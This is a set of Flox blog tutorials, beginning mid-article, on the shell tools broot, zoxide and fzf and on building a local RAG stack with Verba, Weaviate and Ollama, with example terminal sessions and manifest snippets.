(1952) [FLAC] … ├── Miles Davis & John Coltrane - Live in New York (1988) [FLAC] … └── 356 unlisted Hit enter to go up, esc to clear the filter, ? for help, or a space then a verb Miles\ Davis ``` Unlike with [zoxide](https://flox.dev/blog/jump-around-from-directory-to-directory-with-zoxide-and-flox/), the Fun package profiled in last week’s segment, broot searches and matches in real-time, so you don’t need to manually add directories to find stuff. Grrrr, the specific folder I want isn’t listed. Right now, I’m looking for a folder containing _just_ the right pressing of Miles Davis’ magnum opus _Agharta_, the most profound musical achievement of the 20th century. But even though this folder isn’t listed, I can still move the cursor to the `miles` directory, press `ENTER`, and jump right into that path. Once there, I can easily navigate to find what I’m looking for or ... wait! I can fuzzy search again! I’ll just type `Agharta` and... ``` /home/daedalus/sshfs/opus/tunez/miles ├── Miles Davis – Agharta (1975) [FLAC] {Austria Columbia 467897 2} │ ├── artwork … │ ├── disc 01 … │ └── disc 02 … ├── Miles Davis – Agharta (1975) [FLAC] {Columbia CK 46799} │ ├── artwork … │ ├── disc 01 … │ └── disc 02 … ├── Miles Davis – Agharta (1975) [FLAC] {Japan Blu-Spec CD2} │ ├── Miles Davis – Agharta (1975) [FLAC] {Japan Blu-Spec CD2}/cover.png ├── Miles Davis – Agharta (1975) [FLAC] {Japan Blu-Spec CD2}/obi.jpg │ ├── Miles Davis – Agharta (1975) [FLAC] {Japan SICP-1230-31} │ ├── Miles Davis – Agharta (1975) [FLAC] {Japan SICP-1230-31}/combined.log │ └── Miles Davis – Agharta (1975) [FLAC] {Japan SICP-1230-31}/cover.png ├── Miles Davis – Agharta (1975) [FLAC] {Japan SICP-1230-31}/info.txt ├── Miles Davis – Agharta (1975) [FLAC] {Japan SRCS-9128-29} │ ├── Miles Davis – Agharta (1975) [FLAC] {Japan SRCS-9128-29}/cover.png ▶ ├── Miles Davis – Agharta (1975) [FLAC] {Japan LP CBS-Sony SOPJ 92~93} [24-192] │ ├── Miles Davis – Agharta (1975) [FLAC] {Japan LP CBS-Sony SOPJ 92~93} [24-192]/01 – Prelude (Part 1).flac │ ├── Miles Davis – Agharta (1975) [FLAC] {Japan LP CBS-Sony SOPJ 92~93} [24-192]/02 – Prelude (Part 2) – Maiysha.flac │ ├── Miles Davis – Agharta (1975) [FLAC] {Japan LP CBS-Sony SOPJ 92~93} [24-192]/03 – Interlude.flac │ ├── Miles Davis – Agharta (1975) [FLAC] {Japan LP CBS-Sony SOPJ 92~93} [24-192]/04 – Theme from Jack Johnson.flac │ └── Miles Davis – Agharta (1975) [FLAC] {Japan LP CBS-Sony SOPJ 92~93} [24-192]/folder.jpg ├── 4 unlisted Hit enter to go up, esc to clear the filter, ? for help, or a space then a verb Agharta ``` In the code block above, the cursor indicates just the folder I need. Using broot, I can press `ENTER` to jump into it, cycle through its contents, and find the specific file I'm looking for: a `discogs.json` containing album-release metadata. I can even use broot to preview this file and get the info I want that way! So that’s a basic introduction to broot. Now let’s consider something a little more advanced. ## Broot Advanced Use Cases Let’s say I go to pull a Pytorch container from DockerHub. After fetching a few layers, I get this error: ``` daedalus@askesis:~$ docker pull pytorch/pytorch:2.5.0-cuda12.4-cudnn9-devel ... No space left on device ``` Argh! My go-to solution for freeing up disk space is to use [ncdu](https://dev.yorhel.nl/ncdu), but broot gives me another option. I just need to run it using the appropriately named `--whale-spotting` (or `-w`) switch: ``` daedalus@askesis:~$ broot –whale-spotting ``` This starts broot in my $HOME and puts me into its familiar terminal UI: ``` /home/daedalus /dev/sda3 SSD 1.1TB/1.1TB 100% 773G ├──.ollama … 161G ├──dev … 33G ├──documents … 2.8G ├──downloads … 7.3M ├──Pictures … 1.1M ├──Videos … ... ``` [Ollama](https://flox.dev/blog/llms-in-your-project-with-ollama-flox/): of course! I _could_ start tactically deleting models from the `.ollama` subdirectory using broot’s `rm` command. But the more elegant way to do that is with Ollama itself, using `ollama rm`. And you know what? My `~/dev` directory is kinda huge, too. So let’s use broot to jump into it and see if anything is disposable. Broot makes this simple enough, automatically sorting the folders and files in a subdirectory based on their size. Basically, I can jump right into `dev`, navigate through the topmost (i.e., largest) folders, highlight the ones I want to delete, and type `:rm`. Why a colon (`:`) followed by `rm`? Because broot uses vi[m]-like syntax; typing `:` puts it into command mode. ``` 161G /home/daedalus/dev /dev/sdc3 SSD 1.1T/1.1TB 100% ▶ 67G ├──comfy_ui … 41G ├──ComfyUI … 24G ├──stable_diffusion … 11G ├──zed … 9G ├──verba … Hit enter to rm: rm -rf /home/daedalus/comfy_ui :rm ``` Hmmm. This looks promising! If I blow away one of my over-sized ComfyUI dev environments, I’ll have plenty of room for PyTorch! Again, All I have to do is highlight the folders (or files) I want to remove, type `:rm`, hit `ENTER`, and voila. Also, the point I made earlier about vi[m] command syntax reminds me: to quit broot, you just need to type `:q`. ## A Masterclass in Using broot I’m not actually going to teach this masterclass here. But I am going to link to [this blog](https://dystroy.org/blog/gg/), which shows you how you can use broot with Git to see and review only _changed_ files before you commit them—i.e., without using `git status`, `git diff`, or other commands. This setup enables fast diffing, editing, and staging directly from within broot. It’s kind of neat! ## Housekeeping Notes As with many hugely useful shell tools, broot requires just a bit of bootstrapping. First, you need to make sure its path is available as an environment variable. You can do this by exporting it manually whenever you want to invoke it (e.g., creating an alias that does this), or by just adding it to your shell configuration file. I have the following line in my `.bashrc`, for example: ``` export PATH="$PATH:/home/daedalus/.cargo/bin/broot" ``` Of course, in a Flox environment, you don't have to do this, because Flox knows just where to find the `broot` binary. As mentioned earlier, we’ve added broot to our `a-perfect-shell` example environment on FloxHub. By running: ``` flox activate -r flox/a-perfect-shell ``` You can get broot, [fzf](https://flox.dev/blog/get-warm-and-fuzzy-search-in-your-shell-with-fzf-and-flox/), [zoxide](https://flox.dev/blog/jump-around-from-directory-to-directory-with-zoxide-and-flox/), and a growing list of other workflow-enhancing tools pre-built and pre-configured in a turnkey environment! Note: it isn’t that difficult to implement broot’s [shell function](https://dystroy.org/broot/#find-a-directory-then-cd) in a Flox environment, but for simplicity’s sake, our `a-perfect-shell` example environment doesn’t do this. If you like what you see in broot, you can always run `broot --install` to create this. The main benefit of using the shell function is that when you highlight a directory and press `ALT + ENTER`, you exit broot and jump right into that folder. If you're curious about how you'd implement this in a portable Flox environment that works across bash, zsh, and fish, [shout at me on LinkedIn](https://www.linkedin.com/in/stephenswoyer/). I'd be happy to help! Title: Jump Around! From Directory to Directory with zoxide and Flox Source: https://flox.dev/popular-packages/jump-around-from-directory-to-directory-with-zoxide-and-flox/ Date: 2024-10-18 Category: tutorial # Jump Around! From Directory to Directory with zoxide and Flox zoxide is a fuzzy-matching directory-jumping tool that styles itself as a “smarter” replacement for cd. It also pairs nicely with another featured package: fzf. Just when you thought it safe to quit your laptop for the weekend, here's Flox's latest Fun Packages Fridays(R)(TM) entry, highlighting a keen piece of software in the Flox Catalog, powered by Nixpkgs. This week's package is [zoxide](https://github.com/ajeetdpesouza/zoxide), a fuzzy-matching directory-jumping tool that styles itself as a “smarter” replacement for the venerable `cd` command. The choice of zoxide is inspired in part by last week's package, [fzf](https://flox.dev/blog/get-warm-and-fuzzy-search-in-your-shell-with-fzf-and-flox/), which is a fuzzy-matching search utility. This article gives you an idea how zoxide can fit into and improve your workflow. ## Getting It The following examples assume you're working inside an existing Flox environment. If you don't know what goes into creating one of these, consider checking out [Flox's Quick Start guide](https://flox.dev/docs/) and, if you want to play along at home, [downloading Flox](https://flox.dev/docs/install-flox/). First we'll install and activate zoxide. We'll install fzf, too, because both combined are greater than the sum of their parts. ``` daedalus@askesis:~$ flox install zoxide fzf && flox activate ✅ 'zoxide' installed ✅ 'fzf' installed ✅ You are now using the environment 'chumbawamba'. To stop using this environment, type 'exit' ``` That was simple enough, wasn't it? ## Using It To put zoxide through its paces, it needs to have a history of the directories you work in. You can use the `zoxide add ` command to manually populate this history. If you want to automate this, however, you could also whip up something using the shell logic of your choice. For example, the following one-liner recursively traverses your $HOME directory and adds directories for you: ``` daedalus@askesis:~$ find "$HOME" -type d -print -exec zoxide add {} \; ``` (Warning: If you've got a massive $HOME with tens of thousands of folders, this will take awhile to run!) Okay, now we're ready to begin! Let's say that six months ago I was working in a local [ComfyUI](https://github.com/comfyanonymous/ComfyUI) project but I can't remember where the heck I put it. This ceases to be a problem with zoxide—provided I can remember at least _something_ distinctive about my project directory's name. I can jump right to a fuzzily matched directory using the `z` alias: ``` daedalus@askesis:~$ z Com daedalus@askesis:~/dev/ComfyUI$ ``` Neat! I had only to type `z Com`, hit `[ENTER]`, and zoxide plopped me right into my `ComfyUI` project directory! This time let's jump into something a little bit more deeply nested, like that relict directory where I stashed the PDFs I used to train my [Verba-powered](https://flox.dev/blog/get-a-portable-turn-key-rag-stack-with-verba-and-flox/) RAG stack. The problem is (wait for it) I can't remember where I put it! ``` daedalus@askesis:~$ z rag daedalus@askesis:~/go/src/cmd/compile/internal/coverage$ ``` Huh. Fuzzy matching for the win? Obviously I'm not using the right string, so let's try again: ``` daedalus@askesis:~$ z RAG daedalus@askesis:~/go/src/runtime/coverage$ ``` Okay. So fuzzy matching also means _case-insensitive_ matching. Good to know. Oh! I just remembered which string I can use to jump successfully: ``` daedalus@askesis:~$ z ragtime daedalus@askesis:~/sandbox/projects/llm/training/ragtime$ ``` Awesome! That was easy! Imagine how simple it is to jump around in your workflow when you _can_ actually remember the names of your project folders. For instance: ``` daedalus@askesis:~$ z golde daedalus@askesis:~/sandbox/projects/llm/training/ragtime/golden-verba$ z open_s daedalus@askesis:~/sandbox/var/vm/x86-64/suse/open-suse-leap$ z et daedalus@askesis:/etc$ z sudo daedalus@askesis:/etc/sudoers.d$ z o11y daedalus@askesis:~/dev/prototype/o11y-stack$ ``` But wait: There's more. ## Mastering It Because zoxide isn't just a one-trick tool. For example, I can use it to match on multiple terms just by separating them with a space: ``` daedalus@askesis:~$ z stable diffusion daedalus@askesis:~/dev/stable-diffusion-webui$ daedalus@askesis:~/dev/stable-diffusion-webui$ z trying to break my heart daedalus@askesis:~/sandbox/var/vm/aarch64/debian_arm/r-u-trying-to-break-my-heart$ ``` What else? Zoxide has a fuzzy _search_ feature that makes use of [fzf](https://github.com/junegunn/fzf). Conveniently enough, this automatically gets aliased to `zi`. It makes searching for, finding, and jumping into directories dead simple: ``` daedalus@askesis:~$ zi rag > < 3/3 ┌────────────────────────────────────────────────────────────────────┐ │> < 3/3 │ │* 13.2 /home/daedalus/go/src/runtime/coverage │ │ 8.0 /home/daedalus/sandbox/projects/llm/training/ragtime │ │ 5.2 /home/daedalus/go/src/cmd/compile/internal/coverage │ └────────────────────────────────────────────────────────────────────┘ ``` See those numbers next to each path? They represent zoxide's [frecency](https://github.com/ajeetdsouza/zoxide/wiki/Algorithm) score for each directory, which is based on the **fre**quency and, er, re**cency** with which you've accessed them. Dammit: all of those dead-end jumps into `/home/daedalus/go/src/runtime/coverage` artificially inflated its score! One last thing. You can also use zoxide and fzf together to get fuzzy search and completion. You just need to type your search term, followed by a space, and then hit `[TAB]`, much like you'd do with fzf by itself: ``` daedalus@askesis:~$ z stable- ┌────────────────────────────────────────────────────────────────────┐ │ > < 1/1 │ │ * 8.0 /home/daedalus/dev/stable-diffusion-webui │ └────────────────────────────────────────────────────────────────────┘ ``` Pretty neat, huh?! Zoxide has oodles of other features, including support for all major shells, and integration with [emacs](https://www.gnu.org/software/emacs/), [vim](https://github.com/vim/vim), [ranger](https://github.com/ranger/ranger), and [tmux](https://github.com/tmux/tmux), along with other tools. This article very much scratches the surface of what you can do with it. ## Housekeeping Notes It made sense to front-load this article by showing all the fun stuff you can do with zoxide. I'll conclude by briefly explaining the one or two things you need to do to set it up. **First**, you're going to need to add zoxide's shell initialization logic to your shell's configuration and/or profile dotfiles. If you're using bash or zsh, you could just add the following line: ``` eval "$(zoxide init )" ``` to your `.bashrc` or `.profile` config files. Re-source your shell (`source ~/.bashrc`) and ... _voila_. **Second**, if you want to use fzf with zoxide, you'll need to have _its_ eval command in your shell config, too. ## A Better Way However, doing this involves making changes you might not want to persist. What if you don't like zoxide? What if you're evaluating it along with similar tools, like [autojump](https://github.com/wting/autojump) or [fasd](https://github.com/clvv/fasd)? What if you just have issues with commitment? This is what Flox environments are made for! You can `flox activate` our zoxide and fzf proof-of-concept as a FloxHub environment using the -r option: ``` flox activate -r flox/a-perfect-shell ``` FloxHub environments are cached locally. You can activate 'em, use 'em, and when you're done, they're gone. So there's nothing in your shell config files to clean up! Next time you activate, the environment is instantly ready. New changes on FloxHub can be pulled in via `flox pull -r`. That's it. That's zoxide. Paired with fzf, it makes for a pretty powerful combination, no? Happy hacking. _Special thanks to Flox's great and powerful Nick Lewis for turning me on to zoxide, and to the no less thaumaturgical Rok Garbas for offering his $0.02—or, rather, €0.02._ Title: Get a Portable RAG Stack & Vector Database with Verba and Flox Source: https://flox.dev/popular-packages/get-a-portable-turn-key-rag-stack-with-verba-and-flox/ Date: 2024-10-15 Category: tutorial # Get a Portable RAG Stack & Vector Database with Verba and Flox Use Flox, Weaviate, Ollama, and Verba to create a portable, reproducible RAG stack that Just Works—without VMs or containers. If you’re doing anything with large language models (LLM), you’ve probably looked into retrieval-augmented generation, or RAG, a proven pattern for improving the accuracy and reliability of their output. Thanks to projects like [Ollama](https://ollama.com/), setting up a local LLM is pretty much a snap. But what about implementing a RAG pattern? Is there a turn-key solution that makes setting up a RAG stack as simple as spinning up a local LLM? Yes, there is! By combining Flox, [Ollama](https://ollama.com/), [Weaviate](https://weaviate.io/), and [Verba](https://github.com/weaviate/Verba)—an open-source “personal assistant” created by the folks at Weaviate—you can create a portable, reproducible, turn-key RAG stack. Something you can build with locally on your Mac, Linux, or Windows system, then push with confidence to CI and deploy to production. A turn-key RAG stack that Just Works—without VMs or containers. Intrigued? Read on to get the scoop! ## RAG Explained First, let's say a bit about what RAG is. If you already grok this, feel free to skip ahead to the next section. Training an LLM from scratch is prohibitively expensive. Fine-tuning an LLM is less expensive, but still requires specialized expertise, expert-level data prep, and sometimes beefy computational resources. RAG is a technique that enriches the prompts you send to an LLM by retrieving and integrating relevant external context, usually from a vector database. It constrains the model to focus on this hardened input, refining the input’s problem space and narrowing its scope to trusted, authoritative, up-to-date sources. To implement a RAG pattern, you follow these steps: - Break up your documents into chunks; - Generate [vector embeddings](https://weaviate.io/blog/vector-embeddings-explained) from said chunks; - Load these embeddings into a vector database; - Query the vector database for relevant embeddings when the user submits a prompt; - Use the embeddings to retrieve chunks that get appended to the prompt and sent off to the LLM. RAG is useful when you have access to a large corpus of subject- or domain-specific information (whether public or proprietary) that you can use to augment the knowledge and improve the accuracy of a general-purpose LLM. While commonly used with conversational agents (like chatbots), it’s a popular choice for _any_ use case where an LLM needs to generate accurate, context-aware responses. To implement a RAG pattern, you need (1) an LLM, (2) a vector database, (3) a retrieval engine, and (4) some software or services to knit everything together. This might sound heavy-duty, but it isn’t—or it needn’t be. So don’t listen to naysayers who object that it’s too complex or heavyweight for local use. You can run everything you need locally—without creating a complex multi-container runtime or orchestrating multiple VMs. ## Setting up your RAG environment with Verba & Flox To get started, all you have to do is pull our Verba example environment from FloxHub: ``` mkdir verba && cd verba flox pull --copy flox/verba ``` Let’s walk through the sections of this environment and explore how it works, so you can understand how to easily customize it to suit your needs. First, run `flox edit` to view and edit its manifest. If you’ve already configured an `EDITOR` environment variable, running `flox edit` opens its manifest in your preferred editor. (If you haven’t done so, `flox edit` defaults to `nano`.) To edit this file manually, just open up [the manifest.toml file](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/) that lives in `./.flox/env/`. The `[install]` section of `manifest.toml` defines each of the packages used in the environment, along with specific version, [package group](https://flox.dev/blog/conflict-resolution-made-easy-with-package-groups-in-flox/), and system constraints. This environment provides Python, which is required for Verba; we will install Verba via `pip` later in the manifest, since it is not (yet!) available in the Flox Catalog. ``` [install] python310.pkg-path = "python310" ``` We also install Weaviate, the popular open source vector database, and Ollama, both with pinned versions. ``` weaviate.pkg-path = "weaviate" weaviate.version = "1.25.9" ollama.pkg-path = “ollama” ollama.version = "0.3.5" ``` In addition to these core packages, we’ll install a few helpers—specifically, `bash` and `curl`, which we’ll use later when starting services, and `gum`, which lets us show a spinner while Verba is installing. ``` gum.pkg-path = "gum" bash.pkg-path = "bash" curl.pkg-path = "curl" ``` ## Configuring your RAG stack with Flox The `[vars]` section in this environment does a lot of heavy lifting. First, it's here that we tell Flox which Python package to install for Verba. We have chosen `goldenverba` for this example environment, but we could also have used `goldenverba[huggingface]`, which adds support for Hugging Face components like SentenceTransformers. (These are optimized for encoding sentences into vector embeddings.) You can add these yourself just by modifying the name of the package below! ``` [vars] # The name of the Verba package to install VERBA_INSTALL_PACKAGE = "goldenverba" ``` This environment also defines the user-customizable variables we’ll use to configure Weaviate... ``` # This configures Weaviate, and configures Verba to use it WEAVIATE_URL_VERBA = "http://localhost:8080" # Weaviate data path PERSISTENCE_DATA_PATH = "./verba-data" # Leave Weaviate wide open (for now!) AUTHENTICATION_ANONYMOUS_ACCESS_ENABLED = "true" # Weaviate query default limit QUERY_DEFAULTS_LIMIT = "10" ``` ...along with user-configurable variables for our old friend [Ollama](https://flox.dev/blog/ollama-part-one), which we use to pull and run foundation models. ``` # This configures Verba to use the local Ollama instance OLLAMA_URL = "http://localhost:11434" # Our Ollama models OLLAMA_MODEL = "llama3" OLLAMA_EMBED_MODEL = "mxbai-embed-large" ``` Because GoldenVerba isn’t _yet_ in Flox Catalog, we need to get it from PyPI. We can take advantage of Flox’s support for activation hooks to [automate the process](https://flox.dev/blog/using-flox-to-create-portable-reproducible-python-environments/) of installing the `verba` package using `pip`. ``` [hook] on-activate = ''' export PYTHON_DIR="$FLOX_ENV_CACHE/python" if [ ! -d "$PYTHON_DIR" ]; then gum spin -s globe --title "Creating venv in $PYTHON_DIR..." -- python -m venv "$PYTHON_DIR" fi ( source "$PYTHON_DIR/bin/activate" gum spin -s monkey --title "Installing/updating Verba..." -- pip install "$VERBA_INSTALL_PACKAGE" ) ''' ``` ## Managing Stack Services with Flox Flox has powerful built-in service management capabilities, which is super convenient, because our environment needs to start, run, and monitor several services! Let’s walk through how this works. Basically, you can define and configure services in Flox using declarative methods: ``` [services.] command = “ ``` The syntax is fairly simple: just define both the name of the service and the command Flox has to use to run it. That’s all there is to it! So the service definition for `weaviate`, our vector database, looks like: ``` # Start Weaviate [services.weaviate] command = "weaviate --host 0.0.0.0 --port 8080 --scheme http" ``` For `ollama serve`, it looks like: ``` # Start Ollama [services.ollama] command = "ollama serve" ``` But for `verba start`, it’s a little different. ``` # Start Verba [services.verba] command = """ if [[ "$WEAVIATE_URL_VERBA" != "" ]]; then until curl -s "$WEAVIATE_URL_VERBA"; do echo "waiting for weaviate ..." sleep 0.1 done fi $PYTHON_DIR/bin/verba start --host 0.0.0.0 """ ``` In this case, we need to wait for `weaviate` to start up and become available, so we create logic telling Flox to poll the WEAVIATE_URL_VERBA URL (defined in our manifest’s `[vars]` section) until it gets a valid response. Once `weaviate` is up and running, Flox spins up the `verba` service using the `verba start --host 0.0.0.0` command. This makes it accessible via its default port on all local network interfaces. But we’re not done, because we also need some models for our LLM! We can even create a Flox service for doing this: ``` [services.models] command = """ until ollama list; do sleep 1 done ollama pull "$OLLAMA_MODEL" ollama pull "$OLLAMA_EMBED_MODEL" """ ``` The bash logic above instructs Flox to continuously run the `ollama list` sub-command, polling for `ollama serve`. A valid response indicates that `ollama serve` is online and ready, at which point Flox runs `ollama pull` to download the default foundation (`llama3`) and embeddings (`mxbai-embed-large`) models for our stack. That concludes the walk-through of the Verba RAG stack’s components and internals. Let’s pivot to how it works in practice! ## Your Verba RAG Stack in Action Let's start the stack and follow the logs for pulling the models: ```shell flox activate -s # -s is short for --start-services flox services logs models --follow ``` In Flox’s implementation of the RAG pattern, we take a corpus of documents and feed them into [mxbai-embed-large](https://huggingface.co/mixedbread-ai/mxbai-embed-large-v1)—a high-performance text embedding model—which analyzes them and generates vector embeddings. We then store these embeddings in Weaviate. Whenever a user prompts llama3, we invoke `mxbai-embed-large` as part of the workflow, using it to convert _the user’s prompt_ into an embedding. Comparing embeddings lets us retrieve relevant, factual documents, which we use to enrich the user’s prompt. The enriched prompt then gets fed into llama3, which is constrained to use _only_ the information retrieved from the relevant documents. To get started with Verba, fire up your Web browser and point it to port 8000 on your localhost. Click the "Custom" button... ...and accept the defaults in the configuration menu: You can use the drop-down menu to configure your RAG pattern’s settings, add documents, search through documents, and perform other tasks. (If you’re using Verba on a large enough screen, this menu is replaced by descriptive clickable buttons.) Let’s say you’re creating a RAG conversational agent that your SREs can use to troubleshoot issues with Kubernetes (K8s). You could start by cloning [the GitHub repo](https://github.com/kubernetes/website) for the official K8s documentation website, but you’d then have to wrangle this documentation into integrated, relevant, and topical document groupings, and feed those into Verba. That would take quite a bit of data prep! So for this walk-through, we're going to cheat, using [a GitHub repo](https://github.com/dohsimpson/kubernetes-doc-pdf/tree/master/PDFs) that collects all of the K8s documentation into topical PDFs. Verba accepts PDFs as input, so you can feed them in directly, or you can do what I did: convert these into `.txt` files, _then_ import them into Verba. Once finished, you can click Verba's `Documents` tab to search or scroll through the texts you’ve imported. In the screengrab below, searching using the keyword “reference” returns a list of all documents that have this string in their titles. (Each of these files is a chunk of the “Reference” section of the Kubernetes documentation.) You can navigate this in the Verba UI’s left-side pane. The right-side pane shows the text of a selected document. Clicking the `Config` tab in the right-hand side of the `Import Data` wizard lets you specify which embedding (for extracting vector embeddings) and generator (for LLM prompting) you want to use. Ollama is configured by default. Once you’ve done that, you’re ready to begin grilling your Verba RAG! Let’s start with a simple question. And here's the Verba context window, which shows the document the model uses to generate the response: To give you a sense of just how much contextual detail a Verba RAG can provide, the code block below shows the complete output of a question and response: ``` **[question]** in a highly constrained kubernetes cluster, how would you configure pod priority and preemption to ensure critical system pods can run while non-critical pods are evicted? also, what are the potential pratfalls when configuring pod priority, and how can you avoid them? **[response]** To configure pod priority and preemption in a highly constrained cluster to ensure critical system pods can run while non-critical pods are evicted, follow these steps: - Mark critical system pods as critical by setting the **priorityClassName** field to either system-cluster-critical or system-node-critical. This ensures that these pods will not be evicted unless absolutely necessary. - Set the priority of critical system pods to a higher value than non-critical pods. This can be done by setting the priority field in the pod specification. - Ensure that non-critical pods are configured with lower priority values than critical system pods. To avoid potential pitfalls when configuring pod priority, keep the following in mind: - Be cautious when setting high priority values for pods, as this can cause unintended preemption of other pods. Double-check your configuration to ensure that high-priority pods are truly critical. - Avoid accidentally setting a high-priority value for a non-critical pod by mistake. This can lead to unnecessary preemption and disruptions in the cluster. To mitigate these potential pitfalls: - Verify the priority values for all pods in your cluster using `kubectl get pod -o yaml` or `kubectl describe pod ` commands. - Use the **priorityClassName** field instead of setting an explicit priority value to avoid mistakes. This way, you can ensure that critical system pods are prioritized correctly without risking unintended consequences. By following these best practices and being mindful of potential pitfalls, you can effectively configure pod priority and preemption in a highly constrained cluster to ensure critical system pods run while non-critical pods are evicted. ``` You can use any generative model that [Ollama supports](https://ollama.com/library) with Verba. We’ve been using [llama3](https://ollama.com/library/llama3), but let’s switch to a much smaller model, [phi3.5](https://ollama.com/library/phi3.5), to see what kind of difference it makes. Because while `llama3` runs at about the same speed as GPT 4o; `phi3.5` is significantly faster. To swap foundation models in Flox, run `flox edit` and change the `OLLAMA_MODEL` variable in the `vars` section of `manifest.toml`, replacing `llama3` with `phi3`. Then start the models service with Flox to pull it into ollama: ```shell flox services start models flox services logs models --follow ``` Now our model is up to date. The code block below shows the output of Verba’s context-enriched response with Phi3. ``` **[question]** explain how the **Immediate** and **WaitForFirstConsumer** binding modes (in persistent volumes) differ from one another. **[response]** - Persistent Volumes can be immediately bound to a request (**Immediate** Mode) or wait for consumer requests before binding. Immediate mode does not respect existing PVs unless there are no suitable ones available when needed and the node has appropriate affinity settings; it may lead to overprovisioning as resources aren't reserved specifically until they’re actually used by a Pod (e.g., nfs volumes without prior configuration). - **WaitForFirstConsumer** mode ensures that only one consumer can bind at any given time, promoting efficient use of shared local volumes and minimizing resource wastage as it aligns with actual usage patterns while considering other scheduling constraints like CPU/memory needs. - When using **Immediate** Mode for NFS or without external static provisioners configured in your cluster (e.g., local **StorageClass**), you may face challenges unless there's an immediate need and no suitable PV, as it does not manage the lifecycle of shared directories beyond simply binding requests to existing ones when possible; this could result in unpredictability without proper pre-configuration for resource management (e.g., creating a local volume with default settings beforehand). - **Immediate** mode can bypass node affinity preferences, while **WaitForFirstConsumer** respects them and does not attempt to bind if the node is deemed non-appropriate due to these policies; this behavior directly influences resource utilization strategies in managing a Kubernetes cluster's resources effectively. ``` That’s basically it. Verba gives you just _about_ as turn-key a RAG stack as you could ask for. It’s 90 percent of the way there. Flox gives you that extra 10 percent, with the added bonus of making it easier to install, configure, and run Ollama, giving you a way to run a full version of the Weaviate vector database, and—not least!—enabling you to run this environment anywhere. ## Gods from Machines Verba makes it as easy to spin up a local RAG as Ollama makes it to run a local LLM. Both projects seem like _dii ex machinis_, radically simplifying something that—six months ago—seemed hopelessly complex. Flox does something similar with dev environments. Creating and sharing reproducible dev environments is notoriously difficult, but Flox provides a solution that’s scalable, performant, and reliable. Try it yourself. [Download Flox](https://flox.dev/docs/install-flox/) and pull our Verba example environment from FloxHub, customize it to suit your needs, and then share it with your friends—either by `git push`-ing it to GitHub or `flox push`-ing it to [FloxHub](https://flox.dev/blog/write-once-take-anywhere-home-away-from-home-with-floxhub/). Sharing via FloxHub is as easy as: ``` flox pull flox/verba ``` When co-workers, friends, or customers `git clone` or `flox pull --copy` this environment, it runs exactly the same everywhere—on Mac, Linux, or Windows (with WSL2) laptops, or on containers and VMs in CI and prod. If you’re intrigued, why not [check out the quick start](https://flox.dev/docs/) for an overview of how Flox fits into your workflow in fewer than five minutes! Title: Get Warm and Fuzzy Search in Your Shell with fzf and Flox Source: https://flox.dev/popular-packages/get-warm-and-fuzzy-search-in-your-shell-with-fzf-and-flox/ Date: 2024-10-11 Category: tutorial # Get Warm and Fuzzy Search in Your Shell with fzf and Flox Need to find just the right file—fast? Fzf filters search results dynamically as you type, enabling super-fast incremental search. It's a cinch to install and use in a workflow with Flox. It’s that time of the week again, Fun Packages Friday, in which we introduce and highlight a neat piece of software in the Flox Catalog, powered by Nixpkgs. This week’s "package" is actually a two-fer. We'll primarily focus on [fzf](https://github.com/junegunn/fzf), short for “fuzzy finder,” but we'll also briefly bring in a [PTBNL](https://en.wikipedia.org/wiki/Player_to_be_named_later): a package-to-be-named-later. Fzf is a CLI tool that allows you to search through a list of items by typing part of the text. It filters the results dynamically as you type, enabling super-fast incremental search. The “fuzzy” part of the search experience means you don’t have to type the exact string you’re looking for, just enough for fzf to filter the closest matches. I love it because I can usually anticipate exactly how much I’ll need to type to find what I want. Let's give it a run. The following examples assume we’re using an existing Flox environment. If you don’t know what creating one of these involves, check out Flox’s [quick start guide](https://flox.dev/docs/). ``` flox install fzf ✅ 'fzf' installed ``` The basic use case for fzf is finding files. Just `cd` into a directory, run `fzf`, and then start typing: ``` proj_overview_report proj_client_meeting_notes proj_system_architecture_plan proj_sales_forecast_2024 proj_network_security_audit proj_Q3_financial_summary proj_team_training_schedule proj_new_feature_implementation proj_HR_policy_update proj_data_migration_strategy proj_user_feedback_analysis proj_cloud_infrastructure_blueprint proj_product_launch_strategy proj_vendor_contract_review proj_IT_risk_assessment proj_annual_performance_review proj_employee_onboarding_checklist proj_marketing_campaign_strategy proj_technical_support_guidelines proj_operations_optimization_plan proj_customer_satisfaction_report proj_compliance_audit_summary proj_budget_allocation_proposal proj_key_initiatives_roadmap > proj_stakeholder_communication_plan** 25/2702────────────────────────────────────────────────────────────── proj ``` The code block above shows what happens when you type `proj` after first navigating to `/mnt/nfs/docs` and running `fzf`. Notice the greater-than cursor (**`>`**) in the code block? You use that to select the file you want. We’ve got 25 results, but we can narrow this output down by typing multiple terms separated by spaces. In the code block below, typing `proj risk` narrows things down to just the file we need. ``` > proj_IT_risk_assessment 1/2702────────────────────────────────────────────────────────────── proj risk ``` If you want to match on an exact term, just enclose it in single quotes. And if you’re in a huge directory with tens of thousands of files, you can exclude terms by prefixing them with bangs (`!`): ``` proj_client_meeting_notes proj_sales_forecast_2024 proj_network_security_audit proj_team_training_schedule proj_new_feature_implementation proj_user_feedback_analysis proj_cloud_infrastructure_blueprint proj_IT_risk_assessment proj_employee_onboarding_checklist proj_technical_support_guidelines proj_budget_allocation_proposal > proj_key_initiatives_roadmap 25/2702────────────────────────────────────────────────────────────── proj !report !plan !summary !review !strategy ``` fzf is cool on its own, but it’s even more powerful combined with other commands. For example, you can use fzf as part of a command to find and open a file in your preferred editor. Either of the following works: ``` vim "$(fzf)" fzf | xargs -o vim ``` Both commands run `fzf`, allowing you to browse the current directory using its interactive, ncurses-like terminal UI. Once you select the file you want, it automatically opens in `vim`. Liking it so far? Let's use fzf for some more advanced stuff, like command completion and search history! You might already use `CTRL+R` to do a [reverse-i-search](https://askubuntu.com/questions/74631/how-do-i-search-my-command-line-history-for-commands-i-used-before) through your command history in bash or zsh. But fzf takes this to a completely different level! Reverse-i-search helps you find commands that contain the exact string you type, but fzf uses fuzzy matching to dynamically filter your command history in real time, so you can find what you need even if you only remember part of a command. In addition, you can use fzf to scroll through results once you’ve filtered them, so it’s much faster to locate the command you’re looking for. For example, in the same Flox environment where you installed fzf, type **`flox edit`** to view that environment's [manifest](https://flox.dev/blog/mastering-hooks-and-profiles-for-reproducible-flox-environments/) using Flox's built-in editor. Then paste the following logic into the `[profile]` section: ``` bash = ''' # Setup fzf shortcuts and tab completion eval "$(fzf --bash)" ''' ``` (This assumes you’re using bash. If you’re using zsh, you’d swap `zsh` in for `bash` above, natch.) Now when you hit `CTRL-R` you get fuzzy searching of your command history! ``` 1036 kubectl describe pod etcd-5c55bdbcf-ssh66 1037 kubectl logs 